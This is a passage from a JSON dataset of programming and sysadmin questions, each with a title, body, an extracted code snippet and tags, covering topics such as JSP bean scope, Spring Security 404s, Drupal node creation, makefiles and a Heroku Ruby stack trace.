meet deadlines. \n", "", "unit-testing productivity"], "5187921": ["Android PDF
Viewer Library without GPL license", "I'm looking for a PDF Viewer Library for
Android without GPL License, does anybody have an idea if there's any available
free-license library for that one?\nBecause I've been roaming around, and found
some open source libraries such as MuPDF, Android PDF Viewer, DroidReader are using
GPL License, which I cannot use for a commercial App I'm about to develop. \nAnd
no, I also don't want to use the google docs option ;-)\n", "", "android pdf"],
"5242209": ["oledb return formatted date values", "I have another interesting
issue.\nI'm using oledb to get data from excel. the connection string is:\n\nand
the select statement is:\n\nSo i get all columns. But in my datatable object i get
date like this format - mm/dd/yyyy. \nWhen i use HDR= yes and another select
statement i get date it like dd.mm.yyyy .\nIn excel all date in cells looks like
dd.mm.yyyy, i cannot find out why oledb returns me formatted date value.\n",
"oleConnection.ConnectionString = \"Provider=Microsoft.ACE.OLEDB.12.0;Data
Source=\" + filepath + \"; Extended Properties=\\\"Excel
12.0;IMEX=1;HDR=no;\\\"\";\n", "c# oledb date-format"], "4403432": ["Where is the
mistake - they shows incorrect message", "I created function for my blog, but it
not works correctly.\nController:\n\nView:\n\nModel:\n\nWhere is the mistake? The
script shows 'There is no any commentars!', but I need 'There is a commentar'.\n",
"$id_get = Model::factory('index')->get_id($slug);\n$this->template->content =
View::factory('index/article')\n ->set('slug', $mysql_respnse)\n
->set('commentars', Model::factory('index')->find_commentars($id_get)); \n", "php
oop frameworks kohana"], "947454": ["Scope of jsp:useBean", "home.jsp\n\
ninclude.jsp\n\nThis gives an error saying \u201cusername\u201d is undefined in
include.jsp, even though the scope of Bean is application\u2026\n", "<jsp:useBean
id=\"username\" class=\"java.lang.String\" scope=\"application\"/>\n\n<%\n
username=\"Jitendra\";\n%>\n\n<jsp:include page=\"include.jsp\"/>\n", "java jsp
jsp-tags java-ee-6 jspinclude"], "1277136": ["HP Media Smart remote access", "I
just purchased this box for home backups for my pc's and mac's. Everything works
great accept for the remote access part. I can RD into the machine locally but I
can't get to it from outside of my network. I've enabled port forwarding on my
router but it doesn't seem to matter. I checked with Qwest and they don't block
these ports so I'm at a loss.\nI do have Vonage in front of my router but I've
taken it out and it didn't make a difference. I suspect I've made an error with my
router setup. I'm a programmer and I'm playing in the world of the unknown here.
I'm lost. Any suggestions?\n", "", "hp rdp windows-home-server"], "5607418":
["Executing Linux command via PHP on web host?", "I'm using flare to decompile a
flash movie. I need to do it via PHP. User visits PHP script, it decompiles the
flash movie.\nHere is how the files are set up on my web host: \nindex.php:\n\
nFlare is supposed to create a file named movie.flr once the script runs, but there
is no such file. I am thinking my shell_exec is wrong.\nphpinfo() -
http://zachafer.com/phpinfo.php\n", "<?php\n error_reporting(-1);\n echo
shell_exec('./flare movie.swf');\n?>\n", "php linux shell swf"], "5452286": ["how
to pass parameters to puppet modules?", "What is the best practice for
configuration of puppet modules? I have puppet . I find this way quite messy, it
looks like using global variables.\n\nShould I create class which would inherit
most of configuration from the original? The documentation seems to have too many
versions and I'm not sure which one applies for me.\nUPDATE:\nwhen I try this:\n\nI
get an error:\n\n", "2.7.11", "linux debian puppet apt configuration-management"],
"940484": ["How to explain inconsistencies between visualvm cpu sample and snapshot
created from it?", "I've used cpu sampler of visualvm to record a behavior of my
application for the purpose of finding a performance bottleneck. I can see some
interesting results in live hotspots view, but when i take a snapshot of from the
live view for later work, hotspots in that snapshot is absolutely different. This
picture explains it pretty well: http://tinypic.com/view.php?pic=auhx0j&s=6\nHow is
this inconsistency possible? Maybe I don't understand what live view and snapshot
is, can someone clarify it? \n", "", "performance profiling visualvm"], "2732602":
["Where are magento modules settings stored?", "I'd like to know where are magento
modules settings stored?\nAre them inside the database?\nBecause I'm working on a
staging server and since we're moving to a new provider then I'd like to dump the
db from the production site and take the source code from the staging server.\
nWould I lose my settings without moving the staging server?\n", "", "php mysql
magento magento-1.6"], "3061554": ["Cause GNU make to exit with error on depedency
problems", "Is there a way to get GNU Make to exit with an error if it encounters a
dependency error? For example, if the following is in the Makefile:\n\nRunning
produces these messages\n\nwith an exit status of 0. \nI would like to exit with a
non-zero code instead.\n", "fileA: fileB fileA\n @echo \"(fileA) installing
fileA\"\n\nfileB:\n @echo \"(fileB) installing fileB\"\n", "make gnu
dependencies"], "5551726": ["How to use a variable of one method in another
method?", "I want to know how can i use variable in the method to use in mothods
and in the following code:\nAt my code the methos and can't get the result.\n\
nThanks in advince.\n", "a[i][j]", "java methods 2d-array"], "3940825": ["Slow
Read/Write Performance over iSCSI SAN", "This is a new setup of ESXi 4.0 running
VMs off of
a Cybernetics miSAN D iSCSI SAN.\nDoing a high data read test on a VM, it took 8
minutes vs 1.5 minutes on the\nthe same VM located on a slower VMWare Server 1.0
Host with the VMs located on\nlocal disk. I'm watching my read speeds from the SAN,
and\nit's getting just over 3MB/s max read, and Disk Usage on the VM matches at
just over 3MB/s....horribly slow.\nThe server and SAN are both connected to the
same 1GB Switch. I have followed this
guide\nvirtualgeek.typepad.com/virtual_geek/2009/09/a-multivendor-post-on-using-
iscsi-w\nith-vmware-vsphere.html\nto get multipathing setup properly, but I'm still
not getting good\nperformance with my VMs. I know the SAN and the network\nshould
be able to handle over 100MB/s, but I'm just not getting\nit. I have two GB NICs on
the SAN multipathed to two GB NICs on the\nESXi Host. One NIC per VMkernel. Is
there something else I can check\nor do to improve my speed? Thanks in advance for
any tips. \n", "", "vmware-esx vmware-vsphere"], "2171817": ["Create content in
drupal7", "Is it possible to have a create content link (node/add) specific to the
node/page being viewed.\nAs an example, on a blog page user gets add/blog link on
an article page - add/article.\nAnd a similar question for taxonomy terms, on a
page of term A any content that has been added automatically gets tagged with that
term. On a page of term B - tagged with term B.\nI don't want users manually select
terms and content types each time they post.\nThank you.\n", "", "drupal-7"],
"4810119": ["Why is this simple scala code taking so much memory and finally
crashing? (Play framework 2.0)", "I'm trying a simple scala code in play framework
2.0 to fill my db (other options exists, such as importing a SQL file directly
within the database, but that's not the point) :\n\nThis runs well for a while
(200K iterations), slows down, eats up memory progressively (up to 1.8GB), and
finally crashes from lack of memory.\nCan someone explain me what causes this
behaviour?\nIt's clear that it's possible to code it in different ways, but the
point is to understand what is wrong, so that the error would not be done in
another context...\nTo be complete, here are the details : \n\nOS : mac 10.6.8\
nplay : 2.0 \ndatabase : mysql 5.5.12\ntable : \n\n\nTried this as weel, with no
more success :\n\nNot better : stuck at 283k iterations...\n", "def filldb = Action
{\n import play.api.db.DB\n import anorm._\n\n var result: Boolean = false\n\n
val tuples: List[(Long, String)] = DB\n .withConnection(\"playground\")
{ implicit c =>\n\n for (i <- 1 until 1000000) {\n SQL(\"\"\"\n
INSERT INTO article (\n id,\n title\n )
VALUES (\n \"\"\" + i + \"\"\",\n 'Article no \"\"\"
+ i + \"\"\"');\"\"\"\n ).executeUpdate()\n\n if (i % 1000 == 0)
println(\"i:\" + i)\n }\n\n val sqlQuery = SQL(\"select id, title from
article order by id;\")\n\n sqlQuery().map(row =>\n row[Long](\"id\") -
> row[String](\"title\")).toList\n }\n Ok(\"done\")\n}\n", "scala
playframework-2.0 anorm"], "694202": ["Matlab double integral", "I'm trying to
solve a nonlinear system of algebraic (not differential) equations which involves
double integrals. I want to use Matlab. There seems to be two functions that can do
double integration: dblquad and quad2d.\nI noticed that the latter is much faster
than the former (100+ times). But I don't know the accuracy. I used both functions
to evaluate my integrals (which involves bivariate normal density) and got
different answers. I chose a rectangular region around the mean in both cases,
since Matlab (I think most numerical algorithms) seems to have difficulty finding
the substantial values of the integrand if the region is too big and gives me 0. \
nMy question is: does anyone know the difference of these two functions (in terms
of integrating mechanism) as well as accuracy?\nThanks.\n", "", "numerical-methods
matlab"], "3993217": ["windows QUEUE MESSAGES error on open - The list of messages
cannot be retrieved. Error: Access is denied", "Problem:\nWhen opening
windows \"QUEUE MESSAGES\" on windows server 2003 I received the error message\n\
nWhy?\nRecreated following these steps:\n\nWindows Server 2003 standard 64-bit\
nRight click MY COMPUTER\nSelect MANAGE\nSERVICES\nMESSAGE QUEUING\nPRIVATE QUEUE\
nMYSERVICE\nQUEUE MESSAGES\n\nError message displayed:\n\nSetup/configuration
currently deployed:\n\nLogged in as local administrator.\nMachine is stand alone.\
nWCF service is running (using WCF specific user)\nWCF user account is a member of
the local ADMIN group.\ndot net 4.0.\nMessing Queueing service is running (local
system)\nMaybe a permissions issue creating the error.\n\n", "\"The list of
messages cannot be retrieved. Error: Access is denied\"\n", "windows-server-2003
msmq wcfservice"], "5591632": ["How to install Adobe Acrobat Reader in Debian?",
"I've got in \"/etc/apt/sources.list\", but results in:\n\nWhat\u2019s happening?
Are there alternatives repos?\n", "deb http://debian-multimedia.org squeeze main",
"debian install"], "352934": ["Spring Security - Cannot access my welcome webpage
while I'm already logged", "I have a website which uses Spring Security. I have
realized that when I am logged in the application and I tried to access the website
again without closing this session I get a 404 error. I mean if my application has
a context name \"myApp\" I can acess to localhost:8080/myApp when I am not logged
in, but when I am logged in and I entered that URL I get the error. It doesn't
happen for example if I enter localhost:8080/myApp/control/login which displays my
login form correctly.\nHere is my Spring -security configuration:\n\n\n\n\n\n\nIn
my web.xml I have index.jsp as the welcome file\n\nI added the log when I try to
access my welcome page and it shows a 404 error:\n\nEdit: It only happens when I am
already logged. May it be a problem with the session?\nThanks in advance.\nEdit: I
have Spring 3.0.0 RC3 and Spring Security 3.0.0 RC1\nIt still happens, any idea?\
n", "<beans\n xmlns=\"http://www.springframework.org/schema/beans\"\n
xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n
xmlns:sec=\"http://www.springframework.org/schema/security\"\n
xsi:schemaLocation=\"\n http://www.springframework.org/schema/security
http://www.springframework.org/schema/security/spring-security-3.0.xsd\n
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd \n
http://www.springframework.org/schema/context
http://www.springframework.org/schema/context/spring-context.xsd\">\n\n<sec:http
auto-config=\"true\" access-denied-page=\"/control/login/error\">\n
<sec:intercept-url pattern=\"/resources/**\" filters=\"none\"/>\n <sec:intercept-
url pattern=\"/favicon.ico\" filters=\"none\"/>\n <sec:intercept-url
pattern=\"/control/login/error\" filters=\"none\"/>\n <sec:intercept-url
pattern=\"/control/login\" filters=\"none\"/>\n <sec:intercept-url
pattern=\"/control/logout\" filters=\"none\"/>\n <sec:intercept-url
pattern=\"/control/newUser\" filters=\"none\"/>\n <sec:intercept-url
pattern=\"/control/invitedUser\" filters=\"none\"/>\n <sec:intercept-url
pattern=\"/control/error\" filters=\"none\"/>\n\n <sec:intercept-url
pattern=\"/**\"
access=\"ROLE_ANONIM,ROLE_GUEST,ROLE_BASIC,ROLE_ADMIN,ROLE_PREMIUM\" />\n
<sec:form-login login-page='/control/login' default-target-url='/control/index'
always-use-default-target='true' />\n<sec:logout
logout-success-url=\"/control/logout\"/> \n\n<sec:session-management>\n
<sec:concurrency-control expired-url=\"/control/login/error\" />\n</sec:session-
management>\n", "session login spring-security http-status-code-404"], "5113290":
["Accessing an array of pointer to strings", "Looking for some clarification on a
specific topic related to addressing an array of strings. There seem to be several
related issues but I wasn't able to find one that discussed my question. If this
has been asked before please point me to the relevant thread.\nIn the snippet of
code below (check printf statement), I use the same variable to access the value at
a memory location and the address of the memory location. I'm not quite sure if
this is how I'm supposed to write this piece of code. Is there a better way that
will clearly indicate if I'm accessing the address or the value?\n\nMy first
attempt looked like this\n\nObviously this doesn't work :) but I'm still not quite
sure about how this is interpreted by the compiler.\nThanks.\n", "char
*board[NUM_MAX_ROWS] = {\"0101001\",\n \"1101011\"};\n\
nint main()\n{\n int i, num_rows=0, num_cols=0;\n\n num_cols =
strlen(board[0]);\n num_rows = ARR_SIZE(board);\n\n for (i=0; i<num_rows; i+
+)\n printf(\"%s stored at %p\\n\", board[i], board[i]);\n\n} \n", "c arrays
pointers"], "99514": ["Using the same cookie in two logins", "I need your help\
nI've a MVC project that uses Jquery, where I've implemented a mechanism
of \"Remember Me\" using cookies to save, clear and retrieve the login and
password. \nI also have two screens where the user does the login. I want that both
logins manipulate the same cookie. I've got to implement it, but I've realized that
each one has a different behaviour. I mean, the cookie's value I save in the first
login is not the same than the value that retrieves the second login (when I open
it). In other words, if I mark \"remind me\" on the first login, it isn't reflected
on the second login and viceversa. What can I do to make that both of them
manipulate and read the same values from the same cookie? Is it possible?\nPS: For
this situations I'm using the same web navigator: Firefox or IE.\nThanks in
advance\n", "", "jquery asp.net-mvc cookies login session-cookies"], "1865645":
["What Hard Drive
do I use with this SATA Connector?", "I am running Ubuntu Linux on my laptop, and
I need to get new hard drive for it. This is the output from lspci showing my
connector:\n\nI need to know what hard drive to get that will match that. Does
anyone know how to figure that out?>\n", "00:1f.2 SATA controller: Intel
Corporation 82801HBM/HEM (ICH8M/ICH8M-E) SATA AHCI Controller (rev 03)\n", "ubuntu
laptop hard-drive sata compatibility"], "5105281": ["spherical coordinates. triple
integral", "$$\\int\\limits_0^5 \\int\\limits_{\\sqrt{25-x^2}}^{-\\sqrt{25-x^2}} \\
int\\limits_{\\sqrt{25-x^2-z^2}}^{-\\sqrt{25-x^2-z^2}} \\frac{1}
{x^2+y^2+z^2} \\,\\mathrm dy\\,\\mathrm dz\\,\\mathrm dx$$\ntriple integral trying
to change to spherical coordinates.\n", "", "multivariable-calculus"], "660765":
["Matrix convergence -- determine the converged matrix", "I have a square matrix
$A_{n \\times n}$ whose elements are either 0 or 1. The matrix $A$ changes in
response to different events (the elements always being 0 or 1). After a series of
changes, it finally converges to a particular matrix i.e. subsequent events do not
alter $A$ significantly.\nHow could I determine the converged form of $A$ given
that I know all the intermediate forms (say, $A_1, A_2, ..., A_n$)? Of course, if
$A_n$ is the final matrix, then it would give the converged form. But, what if the
convergence has already been achieved at $A_k$ where $k < n$?\nI was exploring
Frobenius norm a bit, and thought of using: $\\lVert A_{i+1}$ - $A_i \\rVert_F \\
leq \\epsilon$. However, that does not account for any changes later in the
sequence.\nWhat would be the suggested approach in this case?\n", "", "matrices"],
"4415372": ["View not completely covering the entire screen", "Once again I've
searched for about 45 minutes for an answer to this question and I thought I might
have found the answer but then the situation I was reading wasn't exactly like the
one I'm running into.\nwhen I add my view it seems that it's not completely
covering the window I was able to get rid of the status bar at the top but there is
a section of space at the bottom that the view is not covering\n\nas you can see
from the screenshot there is an orange bar...it's orange because I know what it
actually is under there (it's the viewController's view but everything I try I
can't seem to get the added view to cover the screen.\nthis is the only code that's
run\n\n(void)viewDidLoad {\n[super viewDidLoad];\n[self.view addSubview:mainMenu];\
n}\n\nAny help would be appreciated.\n", "", "iphone view fullscreen"], "1754155":
["Benerator with mysql: using Mysql id auto-increment", "starting with Benerator
(0.7.7), I encounter some problems while trying to generate data for a test-table
for a Mysql 5.5. database.\nThe benerator script ist: benerator_2.xml\n\nas seen,
the primary Key of the table , the id is declare to be auto generated:\n\nin order
to tell Benerator to let ignore field 'id', I set \n\nand the generating command
line is:\n\nhere is the output:\n\nso I get mainly \n\nso where is the problem ?\
nthanks in advance\n", "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<setup
xmlns=\"http://databene.org/benerator/0.7.7\"\n
xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n
xsi:schemaLocation=\"http://databene.org/benerator/0.7.7 benerator-0.7.7.xsd\"\n
defaultEncoding=\"Cp1252\"\n defaultDataset=\"DE\"\n
defaultLocale=\"de_DE\"\n defaultLineSeparator=\"\\r\\n\">\n\n\n<import
defaults=\"true\"/>\n<import domains=\"person\"/>\n<import domains=\"address\"/>\n
<import platforms=\"db\" />\n\n <comment>\n Populates a database\n
</comment>\n\n <comment>defining a database that will be referred by the id 'db'
later</comment>\n <database id=\"db\"\n
url=\"jdbc:mysql://localhost:3306/benerator\"\n
driver=\"com.mysql.jdbc.Driver\"\n catalog=\"benerator\"\n
user=\"root\"\n password=\"Arthur\"/>\n\n\n <execute target=\"db\">\n
drop table if exists customer;\n </execute>\n\n <bean id=\"sg\"
class=\"SequenceTableGenerator\">\n <property name=\"database\" ref=\"db\"/>\n
<property name=\"table\" value=\"MY_TABLE\"/>\n <property name=\"column\"
value=\"SEQ_VALUE\"/>\n </bean> \n <execute target=\"db\">\n create
table customer (\n id bigint null auto_increment,\n name
varchar(255),\n pword varchar(20),\n address varchar(100),\n
phone varchar(20),\n primary key (id)\n );\n </execute>\n\
n<generate type=\"testtable\" consumer=\"db,ConsoleExporter\" count=\"1000\">\n
<id name=\"id\" mode=\"ignored\" />\n\n <variable name=\"person\"
generator=\"PersonGenerator\" locale=\"${locale}\"/>\n <variable
name=\"address\" generator=\"AddressGenerator\" /> \n <attribute
name=\"n\" min=\"1\" max=\"42\" distribution=\"cumulated\"/>\n <attribute
name=\"name\" script=\"{ftl:${person.givenName} ${person.familyName}}\" />\n
<attribute name=\"pword\" pattern=\"[A-Za-z0-9]{8,12}\" />\n <attribute
name=\"address\" script=\"{ftl:${address.street} ${address.houseNumber} $
{address.city} ${address.country} ${address.postalCode} }\" />\n <attribute
name=\"phone\" script=\"{ftl:${address.mobilePhone}}\" />\n</generate>\n\n</setup>\
n", "mysql testing generator"], "636550": ["Only a single user can connect to the
database", "So, I'm currently working on a Windows based Zend_Server instance of
MySQL on Windows Server (which I didn't setup). I'm trying to help the admin get
this fixed since only a single user can connect at a time, otherwise everyone gets
denied (). \n are both set to default at 100 in both the database and the config
file. I really don't know a thing about windows servers (throws linux gang sign),
any advice / suggestions?\nI realize this question is a bit broad, but if there is
a gotcha I'm missing in this instance (even though I've never experienced it) I
would greatly appreciate it.\n", "MySQL: access denied for user: (Using password:
YES)", "mysql windows-server-2008"], "5912455": ["Cannot install Netbeans 7 on
Windows 7", "I'm having problems installing Netbeans 7.0 on my machine. The
installer works but then the system suddenly restarts. How do I troubleshoot this
one?\nHere's what I got:\n\n", "Problem signature:\n Problem Event Name:
BlueScreen\n OS Version: 6.1.7600.2.0.0.256.1\n Locale ID: 1033\n\
nAdditional information about the problem:\n BCCode: c2\n BCP1: 00000007\n
BCP2: 00001097\n BCP3: 0A050820\n BCP4: BDD3A108\n OS Version: 6_1_7600\n
Service Pack: 0_0\n Product: 256_1\n\nFiles that help describe the problem:\n
C:\\Windows\\Minidump\\042511-26488-01.dmp\n C:\\Users\\Aizen\\AppData\\Local\\
Temp\\WER-49202-0.sysdata.xml\n\nRead our privacy statement online:\n
http://go.microsoft.com/fwlink/?linkid=104288&clcid=0x0409\n\nIf the online privacy
statement is not available, please read our privacy statement offline:\n C:\\
Windows\\system32\\en-US\\erofflps.txt\n", "windows-7 installation netbeans"],
"4232907": ["Drupal: Multiple Node Creation", "I've found myself in a situation
where I need to have one node that allows for only ONE image to be associated with
it. In other words, the maximum images that be can be attached to my image
type \"IMAGE\", is 1. My problem is, that users must be able to upload several
images at once. So, I need one of the following:\n\nA way to create several nodes
one after the other (maybe flexi node?? but the problem with flexi node is that I
need to have prepopulated node refence field that can't be updated when I add
another flexi node field)\nA way to upload, and inser the data myself (creating
distinct nodes) (i.e. create a custom upload interface)\n\nI would of course prefer
the first option, but other than FlexiNode, what is the best thing to use?\n", "",
"drupal image nodes"], "5639296": ["Limit do-while to running 7 times unless given
the correct input", "I was having trouble getting the do-while loop to stop after
the user has attempted to guess the number 7 times. I'm not sure exactly how to
tell the loop to stop and display the timeout message.\nThank you, I appreciate any
help!\nCode:\n\nCorrect Output 1:\n\nCorrect Output 2:\n\n", "import
java.util.Random;\nimport java.util.Scanner;\npublic class numberGuesses {\n
public static void main (String [] args){\n Random rand = new Random();\
n int inputNumber;\n int randomNumber = rand.nextInt(100) +
1;\n int guessingLimit = 7;\n\n System.out.println(\"Rand
Number = \" +randomNumber); //Temp to test program with correct number \n\n\n
Scanner scan = new Scanner (System.in);\n\n do {\n
System.out.print(\"Please enter a number: \");\n inputNumber =
scan.nextInt();\n\n if (inputNumber > randomNumber)\n
System.out.println(\"That's too high!\");\n if (inputNumber <
randomNumber)\n System.out.println(\"That's too
low!\");\n // else { \n // guessingLimit--;\n //
System.out.println(\"Too bad! The number was \" +randomNumber+ \"!\"); //Trying to
have it print this timeout after 7 incorrect attempts\n // break;\n
// }\n } while (inputNumber != randomNumber);\n
System.out.println(\"That's right!\"); //This line when they guess correctly \n
}\n\n}\n", "java while-loop java-util-scanner do-while do-loops"], "3446418":
["Electricity Management in iOS or Android", "I don't if this is possible. Can iOS
or Android's native language perform a \"remote control\" like programming? I am
planning on developing an app that can switch on electric appliances. Any ideas on
how to implement such a thing?
Thanks!\n", "", "android ios ipad device tablet"], "2461551": ["Getting
MiddleClick to open on log in for Mac OS X", "I'd like MiddleClick to open on
startup for Mac OS X (10.6.6). I know that you can right-click and select the
option, \"Open on login\" or something like that, but I don't see that option when
I right-click the file. Also, when it's run, it doesn't how up in the dock, just in
the menu bar.\nI tried this commandline option that didn't seem to work either.\
nDoes anyone have any tips?\nAlso, if you've got middle click on your Magic
Trackpad, let me know! I'd love some suggestions.\n", "", "osx middle-mouse-
button"], "3154168": ["Disable Drupal CSS/JS aggregation on a per-request basis",
"Is there a way to bypass asset aggregation and compression with something like in
the URL? It would be useful for last-minute testing of changes. I have seen people
setting / in , but that feels like a hack.\n", "?debug=1", "drupal-7
minification"], "3974506": ["makefile and c project", "everybody out there i write
a very simple c code which is following:\n\nthe name of the file is exp.c than i
write the following code:\n\ni saved it as sum.c than i write the following code :\
n\nsave it as mul.c than i write the following code\n\nsave it as div .c\ni want to
use all file as a single project. i want exp.c use the function defined in
mul.c,div.c,sum.c. so i write a makefile the project which is following:\n\nnow my
problem is that i run make command i got following error:\n\nwhat i'm doing
wrong?\ndo i need header files ?\nhow can i do this without header files?\nhow to
execute the program without make file ?\nhow to use gcc-o sum.c mul.c,div.c
commands to run the project ? Please give me a detailed description\n",
"#include<stdio.h>\nint sum(int x ,int y);\nint mult(int x, int y);\nint div(int
x , int y);\nint main()\n{\n int a,b,s,m,d;\n system(\"clear\");\n a
=20;\n b =40;\n s=sum(a,b);\n m=mul(a,b);\n d=div(a,b);\n
printf(\"\\n the sum of given no. = %d\\nThe product of given no. = %d\\nThe
division of given no = %d\",s,m,d);\n return 0;\n}\n", "c make"], "1497528":
["Reload javascript without refreshing page", "Disclaimer: I am very new to this
stuff so please bare this in mind. \nHello,\nIm setting up a site using AJAX to
load page content without having to leave the page. I have a few pages that use
javascript to load list information.\nHere is link setup looks:\n\nI have a
variable called $list_id and use that with some javascript to load the list. The
problem I am facing is that if I load one list (lets say list with ID 1) then go
back and load another list (lets say list with ID 2) the javascript has not
reloaded to account for the new list ID.\nIs there anyway I can reload the
javascript code to account for the new variable without having to refresh the page?
\nThanks!\n", "#home\n#list.php?list=$list_id\n", "javascript jquery ajax refresh
reload"], "5113740": ["Apache RewriteRule Proxy has bad headers", "Im trying to
create a proxy from a location on our site to a thrird party's site.
Eg\nhttp://www.mysite.com/cat -> proxys to http://www.cat.com\nThis is the line
from my config:\n\nThe proxy essentially works, but the problem is that it returns
an error 400 Bad Request. Looking at the Apache access log of the site im proxying
to, the incoming request is:\n\nThere is no referrer, host, anything. The server
returns to the browser:\n\nAny ideas- any help would be great!\nThanks\n", "
RewriteRule ^cat/?$ http://cat.com:80 [P]\n", "apache2 proxy"], "5607356": ["Heroku
Sinatra app \u2014 unitialized constant Jido", "I have a small Sinatra application
that is calling a library I developed named Jido. This library is provided by a
RubyGem that I list as a dependency in the Sinatra app's Gemfile. I can run this
application without experiencing any errors on my local machine, which is running
Ruby 1.9.2. When I push to Heroku and visit the page that makes use of
this \"Jido\" library, however, the server returns an error. From the logs I see
that the Heroku server is running Ruby 1.8.7. Here is the stack trace in the Heroku
error log:\n\nThe lines relevant to this error, in my main Sinatra script:\n\nAs I
said, this code runs fine on my machine with Ruby 1.9.2. I have tested calling this
Jido module from both the Sinatra app as well as from IRB \u2014 both run without
problems. I see when I push to Heroku that the gem is installed as required by my
Gemfile, but for some reason I can not reference it in my Sinatra script.. any
ideas?\nThe full source for the Sinatra app (including the Gemfile and
Gemfile.lock) is available at https://github.com/hans/jido-site .\n", "2011-02-
16T18:42:29-08:00 app[web.1]: NameError - uninitialized constant Jido:\n2011-02-
16T18:42:29-08:00 app[web.1]: ./jido.rb:23:in `GET /conjugate/:lang/:verb'\n2011-
02-16T18:42:29-08:00 app[web.1]:
/app/9d9320fd-f5b9-4dca-a96e-0bdee91997b0/home/.bundle/gems/ruby/1.8/gems/sinatra-
1.1.2/lib/sinatra/base.rb:1057:in `call'\n2011-02-16T18:42:29-08:00 app[web.1]:
/app/9d9320fd-f5b9-4dca-a96e-0bdee91997b0/home/.bundle/gems/ruby/1.8/gems/sinatra-
1.1.2/lib/sinatra/base.rb:1057:in `compile!'\n2011-02-16T18:42:29-08:00
heroku[router]: GET jido.heroku.com/conjugate/en/be dyno=web.1 queue=0 wait=1029ms
service=5ms bytes=228\n2011-02-16T18:42:29-08:00 app[web.1]: /app/9d9320fd-f5b9-
4dca-a96e-0bdee91997b0/home/.bundle/gems/ruby/1.8/gems/sinatra-1.1.2/lib/sinatra/
base.rb:643:in `instance_eval'\n2011-02-16T18:42:29-08:00 app[web.1]:
/app/9d9320fd-f5b9-4dca-a96e-0bdee91997b0/home/.bundle/gems/ruby/1.8/gems/sinatra-
1.1.2/lib/sinatra/base.rb:643:in `route_eval'\n2011-02-16T18:42:29-08:00
app[web.1]: /app/9d9320fd-f5b9-4dca-a96e-0bdee91997b0/home/.bundle/gems/ruby/1.8/
gems/sinatra-1.1.2/lib/sinatra/base.rb:627:in `route!'\n2011-02-16T18:42:29-08:00
app[web.1]: /app/9d9320fd-f5b9-4dca-a96e-0bdee91997b0/home/.bundle/gems/ruby/1.8/
gems/sinatra-1.1.2/lib/sinatra/base.rb:675:in `process_route'\n2011-02-16T18:42:29-
08:00 app[web.1]:
/app/9d9320fd-f5b9-4dca-a96e-0bdee91997b0/home/.bundle/gems/ruby/1.8/gems/sinatra-
1.1.2/lib/sinatra/base.rb:672:in `catch'\n2011-02-16T18:42:29-08:00 app[web.1]:
/app/9d9320fd-f5b9-4dca-a96e-0bdee91997b0/home/.bundle/gems/ruby/1.8/gems/sinatra-
1.1.2/lib/sinatra/base.rb:672:in `process_route'\n2011-02-16T18:42:29-08:00
app[web.1]: /app/9d9320fd-f5b9-4dca-a96e-0bdee91997b0/home/.bundle/gems/ruby/1.8/
gems/sinatra-1.1.2/lib/sinatra/base.rb:626:in `route!'\n2011-02-16T18:42:29-08:00
app[web.1]: /app/9d9320fd-f5b9-4dca-a96e-0bdee91997b0/home/.bundle/gems/ruby/1.8/
gems/sinatra-1.1.2/lib/sinatra/base.rb:625:in `each'\n2011-02-16T18:42:29-08:00
app[web.1]: /app/9d9320fd-f5b9-4dca-a96e-0bdee91997b0/home/.bundle/gems/ruby/1.8/
gems/sinatra-1.1.2/lib/sinatra/base.rb:625:in `route!'\n2011-02-16T18:42:29-08:00
app[web.1]: /app/9d9320fd-f5b9-4dca-a96e-0bdee91997b0/home/.bundle/gems/ruby/1.8/
gems/sinatra-1.1.2/lib/sinatra/base.rb:760:in `dispatch!'\n2011-02-16T18:42:29-
08:00 app[web.1]:
/app/9d9320fd-f5b9-4dca-a96e-0bdee91997b0/home/.bundle/gems/ruby/1.8/gems/sinatra-
1.1.2/lib/sinatra/base.rb:553:in `call!'\n2011-02-16T18:42:29-08:00 app[web.1]:
/app/9d9320fd-f5b9-4dca-a96e-0bdee91997b0/home/.bundle/gems/ruby/1.8/gems/sinatra-
1.1.2/lib/sinatra/base.rb:725:in `instance_eval'\n2011-02-16T18:42:29-08:00
app[web.1]: /app/9d9320fd-f5b9-4dca-a96e-0bdee91997b0/home/.bundle/gems/ruby/1.8/
gems/sinatra-1.1.2/lib/sinatra/base.rb:725:in `invoke'\n2011-02-16T18:42:29-08:00
app[web.1]: /app/9d9320fd-f5b9-4dca-a96e-0bdee91997b0/home/.bundle/gems/ruby/1.8/
gems/sinatra-1.1.2/lib/sinatra/base.rb:725:in `catch'\n2011-02-16T18:42:29-08:00
app[web.1]: /app/9d9320fd-f5b9-4dca-a96e-0bdee91997b0/home/.bundle/gems/ruby/1.8/
gems/sinatra-1.1.2/lib/sinatra/base.rb:725:in `invoke'\n2011-02-16T18:42:29-08:00
app[web.1]: /app/9d9320fd-f5b9-4dca-a96e-0bdee91997b0/home/.bundle/gems/ruby/1.8/
gems/sinatra-1.1.2/lib/sinatra/base.rb:553:in `call!'\n2011-02-16T18:42:29-08:00
app[web.1]: /app/9d9320fd-f5b9-4dca-a96e-0bdee91997b0/home/.bundle/gems/ruby/1.8/
gems/sinatra-1.1.2/lib/sinatra/base.rb:538:in `call'\n2011-02-16T18:42:29-08:00
app[web.1]: /app/9d9320fd-f5b9-4dca-a96e-0bdee91997b0/home/.bundle/gems/ruby/1.8/
gems/rack-1.2.1/lib/rack/methodoverride.rb:24:in `call'\n2011-02-16T18:42:29-08:00
app[web.1]: /app/9d9320fd-f5b9-4dca-a96e-0bdee91997b0/home/.bundle/gems/ruby/1.8/
gems/rack-1.2.1/lib/rack/commonlogger.rb:18:in `call'\n2011-02-16T18:42:29-08:00
